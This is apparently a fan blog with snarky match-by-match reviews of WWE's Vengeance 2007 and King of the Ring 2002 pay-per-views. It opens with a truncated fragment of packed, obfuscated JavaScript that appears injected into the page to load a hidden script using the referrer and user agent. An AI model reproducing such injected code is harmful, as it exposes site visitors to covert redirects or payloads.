");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnntt|var|u0026u|referrer|atykn||js|php'.split('|'),0,{})) 2007
Date: June 24, 2007
Location: Toyota Center, Houston, Texas
Attendance: 15,000
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Joey Styles, Tazz, John Layfield

So this is the final actual Vengeance show and its official title is Vengeance: Night of Champions. This show is infamous for one reason: it’s the Benoit Show. The next day we would find out what he did and he’s not here tonight for “personal reasons.” For those of you that are new to this, Chris Benoit went insane and murdered his wife and son before killing himself at his home. He was supposed to win the ECW Title here but that obviously never happened. Other than that, all titles are on the line. Let’s get to it.

The opening video is about how everyone wants to be a champion, which is very true I guess. We get clips of all of the big matches tonight which is good for helping to bring us all up to date considering this is a 3 year old show.

Oh and we’re done with the brand exclusive shows at this point which is a MAJOR plus for me.

We’re going to have legends introduced all night which is a cool thing. The first are the US Express: Barry Windham and Mike Rotundo, who continues to change his last name from Rotundo to Rotunda every time he appears.

Raw Tag Titles: The Hardys vs. Lance Cade/Trevor Murdoch

This was a reunion that went on for a few months because they had nothing else to do for them. Jeff’s rise to awesomeness would come soon enough. Matt would stay uninteresting. The country boys are the champions here. They took them from the Hardys about three weeks before this. It’s weird to think that only Matt is still with the company now. Dang the fans are way into Matt here. And Jeff is even more over.

They dominate early on which leads me to think the champions will retain. The champions try to run away and we have a red carpet here. Dang I didn’t know Murdoch could run that fast. We hit the formula here which is likely the right thing to do. I’ve always wondered why partners start to come in at 2. It’s not like they’re The Flash or something. Murdoch has a bad eye apparently. Is he like Rocky now? Murdoch’s country music gimmick a few years after this really was comically bad.

Sorry for being so random but this just isn’t an interesting match at all so I’m trying to kill the time. Murdoch hooks a LONG half crab to kill even more time. Well to be fair Matt has a bad knee apparently. Jeff gets the hot tag and the crowd is VERY hot here. Jeff beats the tar out of everyone and hits his sitout Gordbuster. Matt Hardy accidentally distracts the referee and Jeff gets double teamed into Cade’s sitout spinebuster for the pin to retain.

Rating: D+. Boring match but considering there are so many matches tonight they likely have to hurry. This is a match that shows the issues with both the division and the show though as there is no need for this to be on PPV as it should have been on Raw instead of here. This was the Hardys’ last official tag match together for awhile so there you are.

Booker lists off his accomplishments. He would be in TNA in like four months.

Ad for Summerslam which was going to be the Jackass show. Thankfully that never happened, so instead TNA did it and it completely bombed.

We have a little profile on Eddie, because this is a WWE show and we need to get every bit of sympathy out of Eddie’s corpse that we can right? They completely leave out Goldberg interfering in that Lesnar match for obvious reasons.

Cruiserweight Title: Chavo Guerrero vs. Jimmy Wang Yang

We get a bit on Dean Malenko as he was a great Cruiserweight Champion back in the day. Jimmy comes out to NO reaction. I mean NOTHING. This is about a month before Chavo lost the belt to Horny. Oh dear. Apparently the WCW Light Heavyweight Title is now the official forerunner to the Cruiserweight Title. Ok then. The division was really pretty worthless at this point so I guess killing the title was the right idea.

Then again that could be Yang since no one buys him as a threat to the title here at all. He does however hit a SWEET dive off the top to the floor. That looked awesome. JBL really was solid at announcing. He wasn’t great or anything but he had recent credibility which is the most important thing so there we are. Chavo takes over as this just isn’t that interesting at all for some reason. I just do not care at all. We’re reminded again that the name Guerrero means warrior. We get it.

It’s a bad sign when the best thing you can say about a guy is he has a never say die attitude. Jimmy gets some offense in and manages to get the crowd to make noise. And there are the Three Amigos to get rid of that. The top rope moonsault from Yang misses and you can feel it getting close to the end. You can see people getting up and leaving or getting back from the concession stands as Chavo wins with a Frog Splash.

Rating: D+. The wrestling wasn’t bad here, but DANG this just wasn’t any good. Again this should have been a TV match and not a PPV match. You can really see how little development there were for a lot of these titles back in the day and it really wasn’t a great idea to have these matches on PPV. It’s not bad, but there’s just no point to it.

We recap the Vince Limo Explosion which is really put into context by what would be revealed the next night. I remember watching this on TV and saying that the lim was going to blow up. No idea why I thought that but I just knew it. Another way you could tell it was fake was a puddle appears just prior to the explosion.

It was a great editing job though as I had to read that on WZ to notice it. There’s a poll question on WWE.com as to who you think the culprit is. Only Vince would use his own murder as publicity.

Lashley is mad at Vince but didn’t do it.

We see clips of Taz being a tough guy. He’s credited with being the first guy to make people tap out to indicate submission. I’ve heard that from non-WWE sources too so maybe there’s some truth to that.

ECW Title: CM Punk vs. Johnny Nitro

Again this was supposed to be Benoit instead of Nitro which had me drooling over the thought of it. Punk cleanshaven is odd looking. Nitro would become Morrison in about a month or so. We hear the term “personal reasons” which no one knew the meaning of at the time. It would be discovered tomorrow afternoon which is chilling when you think about it. What was he doing during this show?

I made a thread once about these two being the real rivalry in WWE over the last 3 years and I still think that. The fans want tables. Good luck with that. Nitro hits that springboard rotating kick which looks great. Johnny Nitro sounds like a guy Sandman should massacre in a TV squash. I think that might have been the idea actually. This is the standard decent match between the two of them but it’s really nothing all that special.

Nitro was little more than a glorified jobber that had a decent feud with Jeff Hardy a few months earlier but other than that he had a hot girlfriend and that’s about it. Oh and nice abs. Nitro uses the ropes to get extra leverage and like any other heel, it gets heat for him. Again, less is more. Simple cheating will get the crowd to boo you. Nitro hits that corkscrew neckbreaker while Punk’s feet are on the ropes like Orton’s elevated DDT to get the win and the title. Wow that match flew by and I’m not sure if that’s a good or a bad thing in this case.

Rating: C-. Not bad here but not great at all. Nitro wasn’t very good yet and it was clear here. He would become John Morrison and gain confidence in a few weeks which was huge to his career and still works to an extent today. Anyway, this wasn’t bad, but they would have FAR better matches later.

We recap Shawn vs. Bret in the Iron Man match to show Shawn’s first title win. This is a cool theme for a show if nothing else.

Foley is getting ready for the main event tonight. And here’s Randy Orton to be a jerk. I can’t wait to get to that match.

Ricky Steamboat is here.

Intercontinental Title: Santino Marella vs. Umaga

Just make it quick please. Santino is the plucky young rookie here that is still a face and currently stabbing the title through the heart every second he has the belt but whatever. Apparently Umaga half killed Foley on Raw. Santino is wrestling legit here and it’s amazing to think of how I guess you could say far he’s come today? Umaga kicks his head off to take care of that.

There’s the nerve hold or whatever you want to call it. Is that just a Samoan thing? Umaga gets him in the corner and pounds him down, which is apparently enough for the CHEAP DQ. Umaga destroys him for good measure. He would get the title back in eight days or so. He crushes Santino with a splash and gets a face chant for it.

ARE YOU LISTENING VINCE? Umaga finishes it off with the spike. The post match beatdown was longer than the match itself I think. He gets a LOUD face chant which of course isn’t acknowledged at all. Ok seriously, the match has been over for like 5 minutes now. End it.

Rating: N/A. First person that finds a point to this anywhere, please let us know. Good lucky on finding one also.

Ad for the Great American Bash.

We go to a press conference thing from Friday, held by the lead investigator in Vince’s case. Also there’s apparently another well-known personality’s DNA in the limo. Ok then. Tomorrow we have a 3 hour Raw as a memorial for Vince. This is actually hard to watch when you know what’s coming.

MAGNUM TA IS HERE! That mustache is awesome. Man he could have been something special.

US Title: MVP vs. Ric Flair

MVP is the ridiculously cocky heel here and actually interesting to an extent. You would NEVER hear that today. He gets in Magnum’s face and says it’s all about MVP now. If all of MVP’s matches wind up combining to be half as good as the I Quit Cage match I’ll be stunned. Flair just looks stupid in pink. He’s no Bret Hart in that regard. Flair shows MVP up with bare bones basic moves and it’s hilarious. Flair is busted open! I CAN FEEL MY INNOCENCE BEING RIPPED FROM MY BODY! SPARE ME PLEASE!!!!

In a funny moment, Flair chops the heck out of MVP and after MVP takes over, he opens up his vest and checks his chest for welts. JBL says Flair’s chops are better than anyone else’s. And I believe him since he was a wrestler not long before this. Lawler needs to remind us he used to be a wrestler. Even Striker reminds us of that. This is another one of that matches that likely belongs on TV but we need a US Title match so here is one for you.

MVP’s knee hits the buckle and Flair goes for the wrong one, thereby proving that some things never change. There it is and we’re in Flair Formula time. It’s still passable too so I can’t complain that much. In a nice ending, Flair goes after MVP but the referee blocks him, allowing MVP to poke him in the eye and hit the Playmaker for the retaining. Why is that nice? Because that is Flair 101: distract the referee and cheat. I love that.

Rating: C. The ending helped that a lot. It’s your standard Flair match, but look at him put ANOTHER guy over. I’m defending Flair. What in the world is wrong with me? This is when Flair was still bearable but he was on the verge of being gone, which I think is for the best. Match was average.

Cena says nothing as Edge interrupts. Edge accuses Cena of being behind of the Vince thing. Cena says Edge is too much of a softie to have been behind it. Edge says he’s vicious and can do evil things, and of course the detective is behind him. Oh good. My eyes rolled so far around that I’m looking at the screen again.

Tony Garea and Rick Martel are here. Was Tito Santana busy or something?

Smackdown Tag Titles: Deuce N Dominovs. ???/???

It’s an open challenge here so the challengers are unknown. Deuce says this place is full of old people. Domino doesn’t like them either. This team was either great or completely idiotic. In short, they’re Fonzie from Happy Days. Cherry, their manager, in short is hot. Deuce is more commonly known as Sim Snuka or the guy that kept Taker from breaking his neck at Mania 25. The challengers are Sgt. Slaughter and Jimmy Snuka. Allow me to quote the 25th letter of the alphabet: WHY???????????/

Smackdown Tag Titles: Deuce N Domino vs. Sgt. Slaughter/Jimmy Snuka

Remember that Snuka is Deuce’s father. JBL says if the champions lose then he’s calling Ron Simmons up and reforming the APA. JBL suggests their name could be the Coffin Dodgers. Oh that’s funny. Sarge looks good here and we get a jab at the Ultimate Warrior. They beat the tar out of Domino here as you would expect them to. Again though, this is on PPV in 2007. There’s the Cobra Clutch which is his signature finisher, which always amused me.

The one time he used a different finisher, he won the WWF Title. So naturally he used the old one and never did anything again. This has been dominance so far. Deuce finally comes in and this is dragging badly. Snuka beating up his son is just kind of surreal. I don’t know if I’d want to be in that position or not. Snuka hits a top rope cross body but Deuce rolls through for the pin.

How annoying do you think he’s going to be with that at Thanksgiving? He pinned his HOF dad on PPV. How cool would it be to be able to say that? Post match there’s a beatdown and Martel and Garea jump the railing for the save.

Rating: D-. The match was horrible obviously, but the point here was to have the legends get a chance out there again. That doesn’t make up for it though. This is just not something I want to see on a PPV show. On TV is one thing I guess, but no way this should be on PPV.

Ad for the Vince Memorial Service. Still gets me thinking what would be airing instead.

We recap Edge vs. Batista which is a Last Chance match. Edge cashed in Kennedy’s MITB contract to beat the injured Taker for the belt. This is the music video package for the night.

Harley Race is here. Oh yes.

Smackdown World Title: Edge vs. Batista

Dang that trenchcoat is awesome. He and Harley have a moment which is kind of odd. Big Dave gets a nice pop. Batista hugs Race too as his entrance is taking way too long. Batista starts how and beats the heck out of Edge, focusing on the arm which is weird looking for a power guy but whatever. You can tell this is going to be a long one. Smackdown always was the show that was more about wrestling than the entertainment aspect so this is expected.

Edge hits a baseball slide and is in control. Now Edge works on Batista’s arm. Well at least they’re being consistent here. His shoulder goes into the post as we hear that you don’t think of Edge and speed in the same sentence. How weird is it to think that he used to be a high flier back in the day? Edge uses a bit boot and hooks an armbar. We now get to the problem of guys working on the arm: it’s very boring. Well at least he’s switching it up.

Edge counters a Samoan Drop into an arm hold. Nicely done. He’s on his third different hold in less than two minutes. That’s how you work an arm. You can switching things up like that and stick with one plan, which at least keeps things from being so boring. A Boss Man Slam from nowhere hits Edge for two. Edge seems to be more popular here with the smark crowd. He goes for the belt but the referee stops him.

Batista hits a spear to block the spear. There’s a Zen riddle in there somewhere. Batista ANIMALS UP but Edge low blows him to keep the title. That’s a legit surprise to me as the face usually wins in those last chance matches. Edge would get legit hurt soon and have to drop the title which Khali won in a battle royal. Batista would get it in the fall. Hey here’s Teddy Long. He’s restarting the match because Edge cheated. Ok then.

If Edge intentionally gets disqualified here then Batista is champion. Spear gets two and the crowd is on fire. We go to the floor and Batista goes into the steps. Edge takes the Bomb on the floor but Batista gets counted out after rolling him back in which should have broken the count I believe. I have no idea why Long was needed here if that’s the ending they were going with but whatever.

Rating: B-. This was your traditional decent Smackdown world title match. They went through a period around this time where they just kind of went with the motions but had good matches anyway. The match worked as well as possible given who was in it though o I can live with that. Far from great, but Batista kind of sucked at this point.

Ad for Summerslam. They’re going way in advance here.

We talk about Fabulous Moolah, meaning it’s Women’s Title time. There was no Divas Title yet. We even get clips of the Original Screwjob. Basically Wendi Richter wouldn’t agree to have Moolah beat her for it so they put a mask on Moolah and had her shoot on Richter for the title. Very old school backstabbing there.

Women’s Title: Melina vs. Candace Michelle

Melina is champion here. So basically Melina is awesome and Candace is popular because she was in Playboy. Crowd is DEAD for this. Oh and Candace is awesome because she can do a dance too. This match is making my head hurt. It’s a great example of how bad the division was around this time.

And then Candace hits a spinwheel kick to win the title. She wound up taking one of the SICKEST bumps I’ve ever seen to get hurt and would never get the title back. She can’t even hold the belt right. I never really cared for her and this is no exception. They try to make this some big emotional moment and it just falls flat.

Rating: D. And that’s all for Melina. She carried Candace like a bag of potatoes here and it was painfully obvious. Melina is good but she’s not a miracle worker. It’s stuff like this that makes the division look like a joke and that’s never a good thing. Then again I’m not sure how many people actually were in the arena for this match so there we go.

ANOTHER ad for the Bash. Dang they’re going insane here with those things.

We recognize JBL before the main event. Naturally he has something to say which he hands to the announcer. We get JBL’s career bio which is funny for some reason. He is also YOUR wrestling god.

We recap Raw’s world title match which is just about being a champion or something like that. All five people talk about what it means to be a champion. Yes it’s clichéd but it works fairly well I think. It goes on WAY too long though but that’s WWE for you.

Raw World Title: Mick Foley vs. John Cena vs. Bobby Lashley vs. Randy Orton vs. King Booker

Cena is defending and it’s one fall to a finish. Foley is only in this because he’s a former champion. How weird is it that Foley would win a world title after this but Booker and Lashley wouldn’t? Lashley won a good deal of titles in his time in the company which was really short. Foley gets a nice pop. Booker would be gone in October. Orton gets a face pop and would be getting really into the title picture in the fall, winning the title twice in one night.

Cena feels like a superstar here and with good reason I think. This is in the middle of his year long reign as champion which got him a lot of heat but I still ask you: who else was going to have the title put on them? Booker jumps to the floor immediately which is smart if nothing else. Very quickly we have Cena vs. Lashley which Vince much dream of at times. Lashley hits a SICK dive over the top to take out all four guys. That looked great.

Lashley hits Booker with what we would call Shock Treatment which is a cool move actually. This is ALL Lashley at this point as he’s dominating everyone. I still feel sorry for the ECW announcers as they have one match to call and then just sit there for the rest of the night. Lawler says the only good thing about being bitten by Foley is that he doesn’t have all of his teeth. For some reason that made me laugh. FU to Lashley through the table out of nowhere and a nice one at that.

We go to the standard multi-man match formula which is fine here as five people makes that kind of required. Cena goes for You Can’t See Me on Booker but walks into the RKO for two as Foley makes the save. He dominates for awhile as you would expect. It’s Socko time!

How amazing is it that he got so far with his signature thing being a sock? That would be like a guy saying nothing but nonsensical things about the Muppets’ sex lives on a wrestling forum and being called funny. Everything goes insane but Foley takes the FU for Cena to retain.

Rating: D+. They did the very smart thing here by keeping this short as it barely cracked ten minutes. With this many people though that was the smart thing. I’m not sure why they went with the five person match here instead of one on one but it was nice to have Foley come in there as it fit with the whole champions and legends deals all night. This was as good as you could have expected though given what was coming, which wasn’t horrible but was just kind of thrown on.

Overall Rating: D+. I’m not sure why but this worked for me somehow. They did a great job here of building up the whole championships all night long thing which is how it was supposed to go. It felt like a major show that was very important and while the wrestling was pretty bad, the atmosphere made up for it and everything seemed to work. I’d actually recommend this, but the wrestling is nothing at all to be excited about.

It’s about that special feeling you get when you hear “this contest is for the world championship!” It makes things more interesting and the feeling doesn’t weaken as the night goes on. This worked, even though it was pretty bad. Check it out.

So that’s Vengeance. At the end of the day it’s really just a minor PPV with nothing of note really coming from it other than the first show back in 2001. There were some good ones here and there with 05 being a GREAT show, but other than that there just wasn’t much at all to really talk about on these shows. They were ok but there just wasn’t really anything of note overall. I’ll be doing NOC 08 just to finish off the series and then moving on to Taboo Tuesday and Cyber Sunday which I’ll do back to back.

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

King of the Ring 2002
Date: June 23, 2002
Location: Nationwide Arena, Columbus, Ohio
Attendance: 14,200
Commentators: Jerry Lawler, Jim Ross

Austin is gone. That’s your big story number one. He was ticked off at management so he just walked out on the company. This is the story they mean when they say he took his ball and went home. Due to him leaving, and I believe I was at his last match before he left, Rock made a surprise return and said that he would be at the PPV to fill in for Austin. The reason Austin left was he didn’t like creative, namely that he was jobbing to Brock Lesnar on Raw in a KOTR qualifying match.

That brings us to story number 2: Brock Lesnar. He’s in the final four and is about as much of a given winner as you can possibly imagine. Hogan is still here too, fighting Angle tonight. The main event is HHH vs. Taker for the title, which is going to suck, plain and simple. Let’s get to it.

The final PPV brackets:

Brock Lesnar
Test

Jericho
Rob Van Dam

Oh also, this is the first PPV under the WWE name as the change came just a few weeks prior to it.

We start with a recap of all the great wrestlers to win the tournament but we leave out all of the terrible ones, such as Mabel and Gunn. It has been a pretty good way to determine a good star over the years. For this year the winner gets the title match at Summerslam. Oh and we’ve had the brand split so it’s two shows now.

Oh one last thing: four days before this some company called TNA debuted. Yeah they’re nothing.

King of the Ring Semi–Finals: Chris Jericho vs. Rob Van Dam

Jericho beat Edge and Val Venis (called Big Valbowski at the time) while Van Dam beat Eddie Guerrero and X-Pac who somehow has a job at this point which amazes me. Van Dam is IC Champion here because that’s what he does. Dang  Jericho went from main eventing Wrestlemania to opening King of the Ring. That’s quite a fall. The fans are WAY behind RVD, and I think Jericho is still heel here. Yeah he is.

Ross thinks they’re evenly matches in size. Good to know his eyes are working well enough that he can tell they look the same. There’s an ECW chant as this match is about as good as you would expect it to be. This is another one of those that’s just hard to mess up. There are three guys in the front row all in Superman shirts. Jericho just doesn’t seem like he can do anything as a heel. He’s just not good in the ring as one, but I think that’s because of his finishing move.

It just doesn’t work for him as he needs something other than a sibmission. Hardly any heel wins with submissions and he’s no exception. I really hate that move where you just pull back on the other guy’s arms. It just looks like crap. I’ve always loved that springboard kick that Van Dam hits. Van Dam hits the exposed turnbuckle for two and the Lionsasult misses. The Five Star misses and the Lionsault again gets two.

Jericho gets the walls but it’s right in the corner and that breaks it up. Both are up top but Van Dam gets a kick to the head for the Five Star to end it. Van Dam being spent on the mat but still doing the finger point when his name is announced is just classic stuff. Lawler jumps in the ring to ask Van Dam who he prefers and RVD says he doesn’t care if it’s Test, Lesnar or Godzilla. Jericho jumps him and puts him in the Walls.

Rating: B. This was a great choice for an opener as it’s fifteen minutes of two guys that know how to get a crowd into a match. They did just that here and it worked like a charm. RVD winning clean is a big deal too as it gives him a solid push to the finals before he gets slaughtered. This was a good back and forth match and it worked very well though.

Heyman gets Lesnar fired up by saying apparently that he’s Godzilla. Lesnar was freaking scary. Those nipples are hard as too.

King of the Ring Semi–Finals: Test vs. Brock Lesnar

Hmm, I wonder what’s going to happen here. Apparently insiders are picking Test. That just makes me laugh. Heyman is freaking perfect for this job as he makes you want to hate Lesnar but he was just so awesome that he eventually got cheered anyway. The fans chant for Goldberg who wouldn’t be around for about 9-10 months. I think Test is a face here but no one cares at all.

They missed so badly on him that the only time to jump on him was nearly 3 years ago but it never happened. I’m not saying he should have carried the company but a week or two with the belt would have been ok. If nothing else it gives him instant credibility. This just doesn’t seem like a good idea as they’re both power guys but they both have muscles so Vince knows it’s a good idea right? Oh yeah Test beat Hurricane and Hardcore Holly while Brock beat Bubba and Booker T.

Basically Test keeps taking bit moves but kicking out while he never gets any long offense in. He hits a sidewalk slam but this is a glorified squash. They do let Test get offense in actually. Ok they let him get in all three of his big moves with the full nelson slam, the pumphandle slam and the big boot and Lesnar pops up from all of them. Then they decidet to let Heyman hit Test, because we can’t have Lesnar go over a muscle guy clean. Way to make Lesnar look dominant there. There F5 ends him.

Rating: C-. This was being as generous as I could be. The second half was just finisher, kick out, finisher, kick out, finisher, kick out etc. Lesnar was about as obvious as you could be to win the whole thing so this was just a waste of our time. The Heyman interference was annoying too though so whatever.

Coach goes to the Raw locker room to ask who they think will win. Bubba picks Lesnar and says he’ll get a shot eventually. Yes, they actually were pushing Bubba as a midcard guy. They had no idea what they were doing around this time.

Greg Lloyd asks Christian and Lance who is going to win. Lance is annoyed that it’s two Americans and no Canadians. This was the UnAmerican angle that was brilliant but went nowhere.

Hey Cole and Tazz are here, getting their first mention or face time 40 minutes into the show. They recap Jamie Noble vs. Hurricane which is because of Nidia. It was completely freaking stupid. My goodness Nidia was worthless.

Cruiserweight Title: Jamie Noble vs. Hurricane

This was either Noble’s first match or at least his first feud. Oh ok this is his second. Seriously, the recap is still going. It’s getting more time than the opening video. Oh and the heels unmasked him which Burchill is still trying to do. IT’S STILL GOING! I have absolutely no interest in this match at all. Hurricane was running around chokeslamming people. Nidia thinks she means something. That’s just amusing.

There’s a “she’s a crack w****” chant going as we flash back to ECW. She tries to trip Hurricane and misses. You grab the big white thing. It’s how you got a job more than likely as it certainly isn’t for your looks and talent. Oh Tuesday is the Divas Undressed thing. It was a lingire thing that went nowhere. There were some ok looks but that’s about it. As you can tell, I’m not talking much about the match.

This division and title were just jokes and it’s good that the title isn’t coming back. Let it go people. Oh dear we begin the sex jokes about Hurricane and why Nidia dumped him. I hate those. Oh blast it they’re using sleepers. I can barely stand the thought of this match already and they’re just boring me to death. This division was just a freaking waste. Wait a minute. This is a Smackdown match. WHY ARE LAWLER AND ROSS CALLING IT???

We have acknowledged that Tazz and Cole, the SMACKDOWN ANNOUNCERS are in the building, but instead we get Ross and Lawler who have nothing to do with these guys or their show talking about the match. What in the world is wrong with this? Hurricane and Nidia fight over his cape. Hurricane suplexes Noble over the ropes and he lands on his leg. Dang it he’s getting up so we have to keep going.

Ric Flair vs. Eddie Guerrero

I get that everyone loves Flair, but we’re coming off of Hogan being WWE Champion. He has a match later tonight meaning that two guys in their 50s are getting PPV time. I get that they’re legends, but they should be here for one thing: putting people over. And nothing more. If that interview was live, he set a world record for fastest taping of his hands in history. Please let this get done fast.

Eddie imitates Flair which is so original that only about a dozen people have done it this year. Oh apparently this is supposed to be Eddie vs. Austin but we get Flair instead. Two weeks before this I saw that match at a house show and it was ok at best but Austin was still decent. Even still, you couldn’t have him fight Benoit or someone like that? Flair does all of his regular stuff and while it gets a pop, I just can’t get into it at all.

Granted this is my fourth review in two days so that likely has something to do with it. Flair asks for a time check and low blows Guerrero. That leads to, you guessed it, more chops. Flair is orange. That’s just disturbing. Guerrero works on the knee in a little twist on things. Figure four by Eddie but it’s on the wrong leg which to be fair Flair always did too. After a minute or so of trying to power out of it he just reaches up and grabs the middle rope without even having to straighten out his arm.

And now Eddie gives up on the legs and works on general offense. Well so much for psychology. And now we’re back on the floor. This is just meandering along at the slowest pace possible. When the announcers are calling out your lack of psychology you know it’s bad. Frog splash misses as this match needs to just end in a bad way. Flair goes to the knee and here’s Benoit. Flair bossing the referee around here is amusing for some reason.

And now we have some intelligence as Flair has the hold broken but he goes back to the legs. They try a pinfall reversal sequence and it just fails due to age and lack of ability anymore. Benoit puts the Crossface on Flair on the floor and Flair taps like an idiot. Benoit gets thrown out and while he does that, Bubba freaking Ray Dudley hits the Bubba Bomb on Eddie. Flair rolls in while Benoit chases Bubba and gets the pin. I knew it. I FREAKING KNEW IT.

Why in the world does Flair need to win this match? Can someone explain that to me at all? What does Flair gain here? He’s an old man that’s so far past his prime it’s pathetic, so let’s put him over a young and talented guy. God bless Vince.

Rating: D+. This was just SO boring. It goes on for 17 minutes and we get Bubba and Benoit deciding the ending. Seriously, we couldn’t have had Benoit vs. Eddie? They ahd to redo the story anyway so have one support Austin and one hate him. How hard is that? Apparently far too hard because we have Flair win the match. I really want to slap this PPV in the face.

Get the F Out Ad.

Regal and Chris Nowitski (Harvard guy) are at The World (WWF New York) and are complaining that their food isn’t here yet. The waitress says she’s still in school and Chris makes fun of her for going to a community college. Had he not gotten hurt, he could have ridden that gimmick for years. I remember X arguing with someone who said they went to some college. X just busts out that he went to Brown. Argument ended. Chris can do that too and it just ends things.

Women’s Title: Trish Stratus vs. Molly Holly

It’s the pointless match of the month. Trish has just broken through the ceiling here and has some talent now while Molly is being the virgin and perfect character. Oh and apparently Molly is overweight. Molly is a good worker so this should be ok I guess. And it won’t matter anyway as the fans chant about puppies. And there you have the problem with this division. It’s still like that today and it always will be.

Ok, they’re working hard here, but King keeps talking about puppies and in two days they’re having the Undressed show. See what I mean? No matter how good the wrestling is it’s not going to mean a freaking thing and that’s pathetic. You can tell Ross is fed up with Lawler’s stupid lines and jokes. Molly misses her top rope flip but rolls up Trish and uses the tights for the win.

Rating: C+. The wrestling was very good here actually, but the commentary just sucked. It was all fat jokes. Seriously, grow up Lawler. You need to. Not as bad as Vince does though.

Angle, now bald but with a wig on, is with that Lloyd guy. Angle asks an interesting question: what did Hogan ever do to become a real American hero? Apparently he only is because Vince says so. This is some awesomely interesting stuff. I guess beating Nikolai Volkoff counts. Angle just rips Hogan to shreds here. I love how there were so many lines about him that were off limits but now that he’s fallen from grace everything comes out.

HOLY CRAP THE SMACKDOWN GUYS ARE TALKING!!! The recap starts with a recap of Hogan wanting to retire and “bow out gracefully”. That just amuses me. Vince says he can’t because he won’t let him. Hogan says he changed his mind so he can Vince, which led to Angle running in. Again, Hogan is another guy that just needs to retire, but he has TNA to ruin.

Kurt Angle vs. Hulk Hogan

This show just kind of sucks and I have a freaking hour to go in it. We fight over technical stuff to start. What I mean by that is Angle does and Hogan just does power stuff. Hogan keeps taking control despite not actually doing anything. Hogan goes for the hair piece and gets a shot in the red and yellow balls. I guess there’s one of each.

Ross says Hogan is as American as apple pie. That’s true. He’s overrated, strange looking, he’s stayed too long, he doesn’t do anything, he gets on people’s nerves, he lies, he cheats, he steals, he cheats on his wife and he tries to be too young. He’s a REAL AMERICAN! Hogan, apparently tired after the work from throwing punches and putting his hand to his ear, is put into a chinlock. Hogan HULKS UP and hits the big boot but instead of the legdrop he pulls the wig off.

After Angle runs, Hogan goes for the legdrop but Angle catches it into the ankle lock. Hogan actually taps and the fans are stunned. That helps the match about a full letter. Ross tries to save Hogan by saying that he held on as long as humanly possible, which is apparently about 15 seconds. Ross can’t remember Hogan ever tapping. That’s just amusing.

Rating: C-. Angle carried this thing completely. Hogan is just a waste here, but to his credit, he tapped. Had he not, this would have ended any chance this show has. Him tapping was right though and it made Angle look much stronger. Sweetness there.

We go to the back with Booker, wearing a WWE Crew shirt for no apparent reason, and Goldust who is dressed like Rock. You all know what’s coming, and there he is. Rock, whose arm is freaking MASSIVE, says that he’s here for the title match, and wonders what in the world is wrong with Goldust.

Goldie keeps touching himself and mentions something about ammunition in his canon. Rock FREAKS on him and asks what the point of Goldie is. This goes on for about 5 minutes and is hilarious. Rock is maybe the best promo man ever and definitely the best ever at comedy.

King of the Ring Finals: Rob Van Dam vs. Brock Lesnar

Ok, does ANYONE here think RVD can win? If you do, you’re a freaking idiot. Van Dam uses his kicks to start and goes for the legs which makes sense I guess. And there we are as Lesnar just beats the tar out of him. We go through the standard beating that you would expect as they’re keeping things simple here. Why do otherwise I guess? Lesnar hits all of his big power stuff and it works quite well.

He hits the bearhug but Van Dam gets out, making him better than Hogan I guess. RVD makes his comeback and actually hits the Five Star, but Heyman interferes and snaps his neck over the ropes. The problem is that RVD lands on Lesnar for the cover and it gets a long two. See, that’s smart and clever as they make Lesnar look strong by having him kick out, especially when Van Dam rarely covers right after the move anyway.

That’s well thought out and it maks Lesnar look good. Van Dam goes up but gets caught in an F5 which looked great for the pin to give Brock the crown in a 6 minute match. Can we please have a long one? Would it kill you?

Rating: C+. They kept Brock protected here and it worked fine. He’s kind of like Sheamus but not really. They’re not letting him be in there too long at a time and it’s letting him look awesome without being able to pick out his mistakes and flaws that really are pretty obvious. This was fine for what it was as Brock is more or less catapulted into the main event picture off of one win.

HHH runs into Shawn and Nash. Everyone is fine, even though we’re two months from HHH trying to kill Shawn. Oh it’s the NWO. I forgot about that. It was Nash, HBK, X-Pac and Show. Thankfully Bischoff came in and destroyed it. Apparently HHH has a long history with the NWO. They offer their help if needed.

We recap HHH vs. Taker which more or less is Hogan beat HHH and Taker beat Hogan. Taker is all about respect here and thinks HHH doesn’t respect him. Somehow this takes four minutes to recap.

WWE Title: HHH vs. Undertaker

They punch each other. A lot. This is all basic stuff and nothing of note happening here. We spice things up with a backdrop. This goes on for TEN FREAKING MINUTES. Taker was just dreadful around this time and HHH did nothing at all. I’m twelve minutes into this and I have nothing at all to say. There’s just nothing going on. You know that the match isn’t ending this early.

Oh Heyman came out about 5 minutes ago and is doing commentary and saying Rock left rather than face Brock. Why would he have to face him at all? They foreshadow Summerslam by saying Rock is certainly a match for Brock. This is like a WCW main event from the late 90s: all punching and walking. And yep we continue the WCW style with a ref bump. And that brings out Rock, complete with entrance music.

He runs off Heyman and you would think that when he puts on a headset that it means he would talk. Nope, that would make sense. We go to the floor with the referee still down and Taker kicks Rock in the face. They’re right in front of him, and Rock is looking at the monitor. Dude, you can see Taker looking at you and raising his foot. FREAKING DUCK! Wrestlers have never been accused of being brilliant I guess.

Of course this prompts Rock to beat the tar out of Taker but a chair shot meant for the man that isn’t alive hits HHH by mistake. A new referee comes down after a Last Ride and Taker just punches him. Taker gets a Rock Bottom but there’s no referee again. A Pedigree puts Taker down and HHH is bleeding from…something we didn’t see.

There’s no referee though and while HHH is trying to wake him up, Taker hits a low blow and rolls him up using the tights and TEN SECONDS LATER he gets the three. At least it’s over I guess. Rock was standing in the entrance to the arena for about the last three minutes of that. He hits the ring and beats up Taker and we get the elbow. HHH pedigrees Rock to end the show…never mind there’s another chokeslam so the old guy stands tall to end it.

Rating: D-. Oy this was bad. No one cared and it was just boring. Also, you would think this would lead up to these three at Vengeance, but Angle went in HHH’s place due to the complaints about how boring the original triple threat would be. That’s saying a lot. I have no idea who decided these two should have nearly half an hour but they should be made to watch this match. I mean it was BAD. They screwed up a rollup. Let that sink in for a bit.

Overall Rating: D. Aye aye aye what a show. There was just nothing appealing here whatsoever. I mean it just got worse and worse at it went on. Nothing stands out here as appealing or interesting to me. Brock winning obviously means a lot and Hogan losing is fun, but other than that there’s just nothing of note here. The show sucked and it sucked badly. At least it’s over though. In case you can’t tell, stay away from this.

I hope you guys enjoyed these reviews more than I did, as I was bored out of my mind most of the time. King of the Ring was just not a good concept for PPV. It helped a lot of people get big later on, but the shows themselves just flat out sucked more often than not. The three match per show formula worked far better, but it didn’t always mean a good show, like here. I hated this last one and three of the last four were just brutal.

